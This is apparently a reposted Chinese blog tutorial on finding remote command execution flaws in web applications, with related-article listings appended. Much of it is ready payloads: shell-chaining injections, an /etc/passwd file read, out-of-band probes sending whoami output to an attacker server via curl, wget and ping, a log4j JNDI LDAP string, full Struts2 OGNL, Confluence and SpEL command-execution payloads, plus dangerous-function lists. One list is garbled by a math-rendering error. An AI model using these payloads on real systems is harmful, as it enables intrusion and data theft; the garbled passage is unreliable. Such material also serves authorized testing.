RCE远程命令执行漏洞挖掘思路

这篇具有很好参考价值的文章主要介绍了RCE远程命令执行漏洞挖掘思路。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

RCE漏洞可能出现在哪些地方?

1.URL上

url参数上,不仅仅可能存在ssrf漏洞,也有很大概率存在命令执行,很大可能调用系统命令如curl。

payload例子:

index.php?id=2;}phpinfo();/*

ttp://www.xxx.com/cmd.php?cmd=phpinfo()

比如访问到如下URL,在jsp后面尝试加参数,比如path(什么参数需要试)

 RCE远程命令执行漏洞挖掘思路

 文章来源地址https://www.toymoban.com/news/detail-427924.html


http://x.x.x.x:28076/file/dirFiles.jsp?path=

发现show.jsp存在任意文件读取漏洞,URL:http://x.x.x.x:28076/file/show.jsp?path=/etc/passwd

RCE远程命令执行漏洞挖掘思路

最初想通过添加双引号闭合if条件判断参数注入命令,没有成功。

payload:/etc/passwd" ];ls;then echo 1;fi;if [ -e "123.txt;

经过多次测试,最终可用反引号``或者$()进行命令执行,如`ifconfig`:

payload:"`ifconfig |xargs`"

命令结果的回显是因为判断不存在FILA_PATH文件名的文件后,会把变量值返回

echo "the file($FILE_PATH) dose not exist!"

拓展知识:Linuxbash中可以使用反引号``、$()等方式将bash命令的执行结果保存到变量中,如a=$(ifconfig):

2.所有变量:所有变量/提交的数据都要尝试

RCE远程命令执行漏洞挖掘思路

测试payload:

& 不管前后命令是否执行成功都会执行前后命令
&& 具有短路效果。 前面的命令执行成功才能执行后面的命令
| 管道符, 上一条命令的输出,作为下一条命令参数(输入) 。在拼接时,无论左边是false还是true,右边都会执行
|| 具有短路效果。 前面的命令执行不成功才能执行后面的命令

payload例子

ping 127.0.0.1&ipconfig #在linux系统里是几乎同时执行

ping 127.0.0.1 && ipconfig #在linux系统里执行完前面再去执行后面

ping 127.0.0.1 &;& ipconfig #其中**;**会被解析为空

ping 127.0.0.1 || ipconfig #在linux中两个**||** = or

ping 127.0.0.1 | ipconfig #在linux中**|**叫管道符,把前面一个命令执行的结果给后面的命令执行
 

再测试SSRF的地方尝试测试命令执行

RCE远程命令执行漏洞挖掘思路

文件下载处就很大概率会调用wget!在查看图片,查看文件等地方可能会使用cat命令等,在文件删除上,我们可能会用到rm命令!
尝试在url,xxxurl等参数下测试命令执行
如输入http://服务器ip/ 采用nc监听探测是否访问。
尝试 输入http:// sleep 5.服务器地址/ 出现延迟就说明存在注入
尝试输入 http://服务器地址/$(whoami)
尝试输入http://whoami.服务器地址
现在搭建网站多以linux做网站服务器,以linux为例子讲解:
作为曾经写过一段时间业务代码的我来说,在挖掘命令执行漏洞时,我经常思考,哪些地方更有可能存在命令执行漏洞呢?
网站邮箱注册,填写邮箱,邮箱验证处,是否可能存在第三方接口的调用

 payload:”email”: `wget%20xxx.ceye.io/xxxx`@qq.com”

3.所有头:cookie的变量

RCE远程命令执行漏洞挖掘思路

4.文件上传处:存在问题参数filename

完整数据包:
POST /index.php HTTP/1.1
Content-Length: 364
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_NHDUMYQDQJ
Host: xxx.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="submit"
submit
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="ver"
set|set&set
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="file"; filename=";set|set&set;"
Content-Type: image/png
-------AcunetixBoundary_NHDUMYQDQJ—
发包响应:

RCE远程命令执行漏洞挖掘思路

列出所有系统路径。他这里fuzz的技巧很好,一般我们测试命令注入都是|payload亦或是&payload,亦或是;payload,他这里把三种测试方法都归到一块变成: ;payload|payload&payload
payload可以是直接回显的set或者是ls等参数,也可以是远程curl,wget探测!
凡是name,filename等参数是很容易爆发出命令执行漏洞的,这些参数是我们fuzz中重点的关照对象。我们一定要对这些点进行多测试!

 逐个变量删除:筛选出服务器对哪些变量进行处理

小总结:

Window下||和&
linux下||和&
Linux下过滤空格可以使用:I F S , {IFS},IFS,IFS,$IFSKaTeX parse error: Can't use function '\u' in math mode at position 15: 9 JSON格式下的测试: \̲u̲000awget\u0020 …(whoami)
curl http://服务器地址/( w h o a m i ∣ b a s e 64 ) ′ w ′ g ′ e ′ t (whoami|base64) 'w'g'e't(whoami∣base64)′w′g′e′t{IFS}服务器地址
Windows下rce探测:
ping %USERNAME%.服务器地址
for /F %x in (‘whoami’) do start http://服务器地址/%x(获取计算机名)
for /F “delims=\ tokens=2” %i in (‘whoami’) do ping -n 1 %i.服务器地址(获取用户名)
测试邮箱:wget%209服务器地址/xxxx@qq.com
测试上传:sleep 10filename
测试filenname:||wget%20服务器地址
测试上传处下的名称: ;payload|payload&payload

各语言RCE的危险函数

1、PHP
assert
escapeshellarg
escapeshellcmd
exec
passthru
proc_close
proc_get_status
proc_nice
proc_open
proc_terminate
shell_exec
system
2、Python
system
popen
subprocess.call
spawn
3、Java
java.lang.Runtime.getRuntime().exec(command)

5.框架和中间件已曝光漏洞

以JAVA举例:

rmi  远程通信协议 一种机制,可以在相同计算机的不同进程或者不同计算机的进程,rmi传输是通过序列化方式进行传输的,rmi在接收经过序列化的对象(字节流)会进行反序列化。


jndi:是应用程序命令接口,会加载实例对象,还可以访问现有的目录和服务。一般是命令执行注入漏洞,反序列化漏洞也会关联到。


LDAP:是一个访问在线目录服务的协议,比如log4j2远程代码执行漏洞,可以使用相关的dnslog平台查看,在dnslog平台获得临时域名,漏洞处输入payload:${jndi:ldap://rbmanr.dnslog.cn/exp} 有回显,说明存在该漏洞。jndi注入的地方可以找url或抓包请求头比如X-Api-Version


ognl(对象图导航语言),它是struts2框架里面的第三方语言(即可以再别的地方用,struts2只是拿过来了而已),它可以调用对象中的方法,参考https://www.cnblogs.com/ends-earth/p/10714068.html 不仅可以执行简单计算(首先生成一个ongl上下文,context),ongl还可以对类和对象进行操作。通过context来put的对象都会放入value属性中,穿进去的字符串就是该属性中的key,通过#key的形式来指定对象,也可以修改属性值和方法。有了这些基础我们就可以来构造ognl表达式来执行我们的命令
struts2的ognl表达式注入漏洞,原理就是对用户的参数没有进行过滤,导致恶意参数直接传入到ognl的方法中命令执行。paylaod:${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

比如 Atlassian Confluence 远程代码执行漏洞。payload:${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}


SpEL全称是Spring Expression Language是一种强大的表达式语言。在Spring产品组合中,它是表达式计算的基础。它支持在运行时查询和操作对象图,它可以与基于XML和基于注解的Spring配置还有bean定义一起使用。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
SpEL使用 #{…} 作为定界符,所有在大括号中的字符都将被认为是 SpEL表达式,我们可以在其中使用运算符,变量以及引用bean,属性和方法。spel表达式注入漏洞,将输入的参数直接当作表达式解析的参数,在解析过程中将造成命令执行。
http://127.0.0.1:8080/test?input=new%20java.lang.ProcessBuilder(%22/Applications/Calculator.app/Contents/MacOS/Calculator%22).start()
http://127.0.0.1:8080/hehe?payload=${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{47, 65, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 115, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114, 46, 97, 112, 112, 47, 67, 111, 110, 116, 101, 110, 116, 115, 47, 77, 97, 99, 79, 83, 47, 67, 97, 108, 99, 117, 108, 97, 116, 111, 114})).start()}

比如Spring Cloud Gateway 远程代码执行漏洞
 

 

到了这里,关于RCE远程命令执行漏洞挖掘思路的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • RCE 远程代码执行漏洞分析

    Remote Command/Code Execute 远程命令执行/远程代码执行漏洞 这种漏洞通常出现在应用程序或操作系统中,攻击者可以通过利用漏洞注入恶意代码,并在受攻击的系统上执行任意命令。 PHP 代码执行 PHP 代码注入 OS 命令执行 OS 命令注入 Java、Python…… Web 应用程序 远程服务 操作系统

    2024年02月08日
    浏览(28)
  • RCE代码执行漏和命令执行漏洞

    前置知识: 漏洞检测: 在了解漏洞概念前,应该先知道一下这个漏洞如何检测的,我们应该或多或少听过白盒测试(白盒),黑盒测试(黑盒)。 白盒测试: 白盒测试是对源代码和内部结构的测试,测试人员是可以知道内部的逻辑和结构的,差不多就是代码审计。 黑盒测试:

    2024年02月19日
    浏览(25)
  • RCE代码及命令执行漏洞全解(30)

     web应用中,有时候程序员为了考虑灵活性,简洁性,会在代码中调用代码或执行命令执行函数去处理。 比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能够控制这些字符串,将代码执行漏洞,同样调用系统命令处理,将造成命令执行漏洞。  危害

    2024年02月07日
    浏览(27)
  • Thinkphp5.0.23 rce(远程代码执行)的漏洞复现

    框架介绍: ThinkPHP是一款运用极广的PHP开发框架。 漏洞引入: 其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。 1、访问靶机地址+端口号 进入首页 2、Burp抓包修改传参方式为Po

    2024年02月06日
    浏览(35)
  • YApi分析从NoSQL注入到RCE远程命令执行.md

    这个是前几个月的漏洞,之前爆出来发现没人分析就看了一下,也写了一片 Nosql注入的文章,最近生病在家,把这个写一半的完善一下发出来吧。 YApi是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台。 YApi 是 高效 、 易用 、 功能强大 的 api 管理平台,旨在为

    2023年04月24日
    浏览(39)
  • 新的 Python URL 解析漏洞可能导致命令执行攻击

    Python URL 解析函数中的一个高严重性安全漏洞已被披露,该漏洞可绕过 blocklist 实现的域或协议过滤方法,导致任意文件读取和命令执行。 CERT 协调中心(CERT/CC)在周五的一份公告中说:当整个 URL 都以空白字符开头时,urlparse 就会出现解析问题。\\\"这个问题会影响主机名和方

    2024年02月12日
    浏览(30)
  • nginxWebUI 远程命令执行漏洞

    nginxWebUI是一款图形化管理nginx配置的工具,能通过网页快速配置nginx的各种功能,包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置,配置完成后可以一键生成nginx.conf文件,并控制nginx使用此文件进行启动和重载。nginxWebUI后台提

    2024年02月11日
    浏览(26)
  • 【漏洞复现】锐捷 EWEB auth 远程命令执行漏洞

    免责声明:文章来源互联网收集整理,请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。             

    2024年03月12日
    浏览(82)
  • ThinkPHP5远程命令执行漏洞

    ThinkPHP是一个快速、兼容而且简单的轻量级国产 PHP开发框架 ,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,使用面向对象的开发结构和 MVC模式 ,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式。 由于th

    2024年02月11日
    浏览(34)
  • 蓝凌OA 漏洞学习——treexml.tmpl 远程命令执行漏洞

    注:该文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与作者无关。 目录 一、漏洞概述   二、影响版本 三、资产测绘   四、漏洞复现

    2024年02月13日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包